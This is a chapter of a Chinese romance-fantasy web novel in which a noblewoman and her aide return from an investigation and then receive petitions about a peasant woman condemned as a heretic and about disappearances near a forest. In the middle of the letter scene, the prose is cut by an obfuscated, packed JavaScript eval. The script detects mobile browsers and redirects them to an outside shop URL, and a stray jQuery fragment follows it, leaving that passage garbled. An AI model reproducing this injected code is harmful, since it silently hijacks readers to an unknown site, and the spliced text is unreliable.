文趣网 > 都市小说 > 越过塞提斯河 > 7. 第 7 章
    回程的路,穿过丘陵,越过田野,远远已能望见护城河上染着火红日影的水波。黛西的腿肚委实酸痛,腿根也被磨得发涩,手上的力气松了几分,很快就与前方的路易斯拉开超出一个马身的距离。路易斯似是察觉出她的异样,渐渐放慢马速,回眸道:“小姐若是累了,不妨下马休息一会儿。”

    她没有拒绝。路易斯翻身下马后,她也勒住缰绳跃下马背。不过这次她没能稳住身形,脚腕酸麻的瞬间一个趔趄,被路易斯及时搀扶住了手臂。

    “谢谢。”她一只手捏着缰绳,微微偏头道谢,目光只及他领口的褶边。但她能感觉到耳尖的热度——她的耳朵一定红了。

    宽大的兜帽遮住了她的发丝,路易斯的目光只在她兜帽顶后衣料折出的尖角上停留了一瞬。在听到她的道谢,他微微一怔,随即松开了扶着她手臂的手。

    “不用谢,小姐。”他伸手想接过她手中的马缰,却被她固执地躲开了。

    “我牵就好。”

    他也没再坚持。

    一望无际的田野驿道上,只偶尔有几棵高挺茂盛的山毛榉。黛西牵一匹白马走在前,路易斯牵一匹棕马走在后,夕阳的余晖为两人两马镀上一层金色的光晕。

    黛西走得很慢,像是闲时在花园踱步。路易斯望着那个尖尖的帽顶,顺着斗篷边缘的线条,落在随她步伐晃动的衣角上——她也许不知道,她现在踩着马靴的步态有几分奇怪,像是初学走路的孩童,带了些许蹒跚。

    “路易斯。”

    他的目光抬起,看到她偏转过来的半边白皙的侧脸,被火红的、泛着金泽的发丝笼着。

    “我们今天做的这些,都是你之前事务的一部分吗?”

    “不全是。”他的声音平和,“之前我的大部分事务是与教区交涉、整理卷宗,这是第一次因为平民的来信到村庄调查。”

    她的脚步渐缓,终于驻足回眸看向他,那双绿色的眼眸此刻因西边天空的云彩,而盈满金红的暮光:“那如果今天是你自己来,你会怎么做?”

    他的神情微顿,眸子里似有什么闪烁了下,转而望向田野尽头叠嶂的山峦——那里的地平线已在暮色中剩紫红的剪影。

    “应当也是和小姐一样,与精灵交涉,将孩子的灵魂换回来吧。”

    黛西对这个回答有些意外:“……你能看见精灵?”

    她记得摩根女士说过,自从精灵迁入人迹罕至的森林后,到艾瑟里安时,人类就已经完全失去了看见精灵和与精灵沟通的能力。而她能做到这些,完全是因为她经过“药物改造”。

    “以前在罗斯男爵身边做侍从的时候,认识了一位牧师,他教我很多关于精灵的知识,都是些粗略的技巧。”

    他并没有直接回答她的问题。她凝望他鬓角的发丝因风扫过他的鼻梁,而后随着他的目光也望向西方的地平线:“我还是第一次见到这么美的落日。”

    天际弥留的红光已沉淀作紫色,像是融化的铁水渐渐冷却。而那轮日影,已沉至山脊,只露半弧。

    路易斯浅色眼眸中倒映的夕阳微微颤动一瞬,却没有转目,只是静静遥望着落入远山的日光,似是感慨似是叹息地低语:“是啊……很美。”

    两人继续牵着马走了一段路后,再次骑上马背策马前行。到夜幕自四方合拢上天穹,城堡塔楼的窗内亮起烛火的微光,黛西放慢马速,在城堡门前下马,把缰绳递给赶来的侍从,回身看向正在解马鞍上挂的皮袋的路易斯。

    “路易斯,今天的事,还要写卷宗归档吧?”

    解下皮袋的路易斯闻声看向她:“是的。不过时间已经很晚了,小姐明日再写也不迟。”

    她的腿确实酸得很,甚至有些隐隐作痛。但她挺直脊背,矜持着得体的姿态微微一笑:“那明天见,路易斯。”

    “明天见,小姐。”他欠身行过一礼,目送她转身登上石阶。一阵风过,她的斗篷被风掀起,露出鹅绒里衬。那暗色里衬的斗篷一角,很快随着她的转身,消失在门廊的廊柱后。

    因着昨日一整天的奔波劳累,黛西一觉睡至阳光爬上窗台才醒。

    笃,笃。

    两声叩门后,传来苏西的轻唤:“小姐,你醒了吗?”

    黛西含糊地应了声,嗓音还带着未散的睡意,迷迷糊糊翻了个身,将脸埋进柔软的枕头里。

    门轴吱呀一声响过,苏西走进房间,先来到窗边拉起厚重的窗帘。阳光顿时倾泻而入,让还在床帐里的黛西都不适应地眯起眼睛。她睡意朦胧地伸手撩起床帐的一边,苏西见状连忙走上前接过来,将帐布用流苏系在床柱上。

    “小姐,早餐你想喝牛奶还是葡萄酒?”

    “牛奶。”黛西撑起上半身,脱下皱巴巴的长衬衫睡衣,露出一截白皙的肩头。苏西连忙取来亚麻衬裙,在她套好后,帮她系上一侧的衣带。

    “好的,小姐。”

    苏西抿唇笑了笑,拿起发梳整理她睡乱的发丝。待她在桌前坐好后,又把装满饼干和覆盆子的餐盘放上橡木桌。做完一切,苏西轻声说道:“小姐,你提到的那间房间,已经整理妥当,一会儿用完早餐,你想去看看吗?”

    还在吃抹上蜂蜜饼干的黛西,即刻两三口将饼干塞进嘴里,匆忙灌一口牛奶咽下去后,拿起桌上的手帕擦了擦嘴角。

    “走吧。”

    苏西因她一连串的动作眼眸含笑,行了一个小屈膝礼:“遵命,小姐。”

    两人穿过走廊,下到一楼,来到藏书室隔壁那间小杂物间门前。黛西推开门,日光正好从窗户斜斜地铺进来,在木地板上画出一块明亮的长方形,空气中细小的尘埃在光柱里缓缓浮动。

    落过尘的橱柜泛着温润的木色,最上一层整整齐齐地排着黛西从藏书室挑来的书。归档的卷宗摞在一旁,用细麻绳捆扎。窗前那张宽大的木桌上,只在角落留了一只木盒作盛装书信,其余地方空阔得能摊开一整卷长书。木椅也因此多添置了一个,和之前那把并肩靠在桌边。靠墙加了一张长垫椅,旁边是一张小圆桌,铺了素雅的亚麻桌布。

    黛西站在门口,目光慢慢扫过每一处角落,嘴角不由自主上扬。

    “做得很好,苏西。”她看向身边的苏西,“我很喜欢这个房间。”

    苏西唇角带笑地欠身:“小姐喜欢就好。那小姐没有别的吩咐的话,我先退下了。玛蒂尔夫人正需要我去整理厨具。”

    “去吧。”

    苏西应声直起身子,又看了窗前的少女一眼才离开,迈出房间后贴心地将房门掩阖。

    黛西在木桌前坐下,从抽屉里取一张羊皮纸摊平,拿起鹅毛笔蘸了墨水,从纸头开始,琢磨落笔。

    “……至此,珍妮·莫莉的小女儿丽莎完全康复。”

    她在最后一行签上自己的名姓,从木盒里取出那封来自灰桥村的粗羊皮纸信,和卷宗一起捆扎,放进橱柜里。

    就在这时,门被叩响三声。

    “小姐,我带了新的信来。”

    那温润柔和的声音,让她眼尾不自觉弯起。她数着橱柜里卷宗侧沿的编号,将新的一份摞到最上层,口中应道:“进来吧。”

    门随着她话音落下轻响一声。有着高挑身形的年轻人步入房间,发丝有些凌乱地贴在脸侧,像是刚从不知何处回来。他手中捏着一叠蜡封的羊皮纸,微微躬身行礼。

    “路易斯,这是去哪里了?”她把纸卷的压痕捋平,收回手款步凑上前去,目光在他眉眼间流连片刻,探究地落在他手中的羊皮纸上。

    他抬起眼眸,神情有一瞬凝滞,而后眼底柔和作吹拂过湖面的风:“照例巡视。”他说完,把手中的信件递给她。

    “这是今天刚到的信件,威尔先生说是从南边的林顿村寄来的。”

    “林顿村……”黛西接过他递来的羊皮纸翻看,背面空荡荡的,没有署名和来处,又翻回来,拇指抵上封口油蜡边缘和纸张的空隙间上掀。

    “是的,小姐。那片辖地……与莫拉维亚伯爵领接壤。”

    她卡在蜡缘上掀的指尖停顿片刻,而后继续揭起疏松的油蜡,展平信纸。

    信上的字迹潦草而凌乱不堪,线条歪歪扭扭,像极了蠕动的线虫,难以辨识。黛西盯着看了半刻钟,眉心攒起几道褶皱,在字母尚可辩识的前提下,勉强逐字逐句阅读:“致我尊贵的领主大人……”

    信看起来笔墨密密麻麻布满了半张纸,实际内容大抵不过寥寥几行,只是字母和字母之间隔了太远,不过好在她弄清了信的意思。写信的是一位酿酒为生的农妇,在断续地表达了自己对创世神的忠诚信仰后,她近乎是崩溃地倾诉她的遭遇,每个单词的距离也越来越远——她的儿子在出生后不过两个月病逝,她的丈夫自那之后就像变了个人,整日整夜地不归家,直到昨日教会的牧师突然带了邻村的几个牧师一起上门,告诉她,她的丈夫是“渎神者”,死在了村子后的山林里,而她很快也要被审判推上火刑架。

    “……以创世神的名义,求您还您卑微的仆人和她丈夫一个清白,看在创世神的名义上,求您……”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894925|212834||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    信到这里就断了,黛西看着句尾那个没有拼写完的单词,手指捏紧羊皮纸的一角。

    她只觉呼吸像被扼住,喉咙发紧。她没有再读第二遍,只是把信纸还给路易斯。

    路易斯在扫过第一行模糊的表述后,眉头紧锁。

    “路易斯,”她开口说话时,声音比她自己想得还要平静,“这封信是怎么送过来的?送信人是谁?”

    “我没有接手。”他将信纸稍稍合拢,“不过从南方来的信件,通常是受雇主雇佣的马夫捎带。我可以现在去向威尔先生打听。”

    “先不必了。”黛西叫住他,转身看向木桌正对的窗外,暖光将庭院中紫衫树叶照得透亮,而她的胸腔却沉闷得好似风雨欲来。

    “路易斯,一位已经定罪的农妇的求助信,能完整无缺地送到这里——这是不是他们故意的试探?”

    路易斯的眉宇染上凝重,他当然明白她的担忧。与莫拉维亚伯爵领接壤之处,教权与领主权纠纷严重,这确实可能是南部教会对公爵、甚至可能是国王新法的试探。如果不闻不问,只会让教会权威更加稳固;若出面干涉,迎来的可能会是矛盾激化,南部教会联合施压。

    “小姐,这确实极有可能。”他的话里是深思熟虑后的赞同,“南部教区的主教一直对国王的新法令颇有微词,递送的卷宗都是一年前的结案。如果小姐想详细了解这件事的原委,我可以明日就前去探查。”

    这件事的确不能直接插手,最好的办法也许就如路易斯所说,让他以私人的名义去探查,这样即使被发现也并非“领主授意”。

    木门忽然闷响两声。

    “小姐,有新到的信件。”

    黛西和路易斯相视一眼。

    “进来吧,威尔。”她扬声说完,木门就被推开,威尔拿着一封压折平整的信,行礼后递给黛西。他没有过多停留,在黛西接下信后就关门离开了。

    黛西垂眸看纸面工整的字迹,念出上面的地址:“从橡木村寄来的。”

    路易斯在她念完地址后,眼中一闪而过丝明光,眉头深锁,薄唇微抿,酌量片刻后开口:“小姐,如果我没有记错,橡木村虽然属另一个教区,但距离林顿村很近。”

    黛西闻言心中一惊,从信纸中抬头盯上他的脸:“很近?”她说完就撕开信上压实的蜡封,展开信纸,匆匆一览,眸里愈发暗沉。

    “是一位商人写信,说他借宿的旅店有‘让人不舒服的感觉’,夜晚旅店旁边的树林里总有奇怪的声音,还有幽蓝的火光,第二天和他同宿在隔壁的结伴就消失了,旅店主人说那个同伴是买酒去了,但他怀疑是昨晚一伙‘奇怪的家伙’做的,当天就离开了那个旅店。”

    路易斯从口袋里拿出一卷地图,在木桌上摊开,指尖压上一处标记,声音低沉:“小姐,橡木村和林顿村相距不过十里。那片森林,很有可能也是那位农妇的丈夫死去的地方。”

    她呼吸一滞,走到木桌前低头看他摊开的地图,他指尖压着的标记,距离另一处标明“林顿村”的地方,不过两寸。两地之间隔着森林和一条河流,一北一南。

    “……看来我们必须去一趟了,虽然林顿村不在辖区,但橡木村在。”她偏头看向路易斯,一双眸子明亮如星。

    “小姐要亲自去?”他的话中含着担忧,对着那双眼眸放柔语气,诚恳道,“这件事很可能牵扯颇多,小姐不妨等我探查过后,再做决定。”

    黛西摇头,手指摩挲信纸边缘:“不,那位农妇等不了那么久。两件事要同时进行。路易斯,明天一早,我和你一起出发。在这里……”她的手指敲在地图上一处乡间小道的岔路口,“你走这里,以私人名义去林顿村调查。我从这里,在靠近橡木村的旅店歇脚。第二天我们在橡木村会面,再去森林探查。”

    路易斯垂下眼眸,目光凝在她手指敲过的岔路口,又落上距离橡木村最近的集镇,按在地图边的手指收紧又松开。

    “那我先送小姐到集镇安置妥当后,再去林顿村调查,这样能确保您安全。”

    黛西大概知道他在担心什么,应下后语带安慰:“我会魔法,可以保护自己。”

    “我知晓小姐不同于他人的能力,”他的语气像是叹息般的温和,又含着些许柔软的无奈,“只是赫尔斯公爵大人……交给我的职责。”

    她绿色眸子里的光有一瞬的凝滞,羽睫扑闪了下,随即随着她的眼睛垂下去,仿佛被桌上摊开的地图吸引了。只有黛西自己知道,她的脸颊有点热——她在害羞。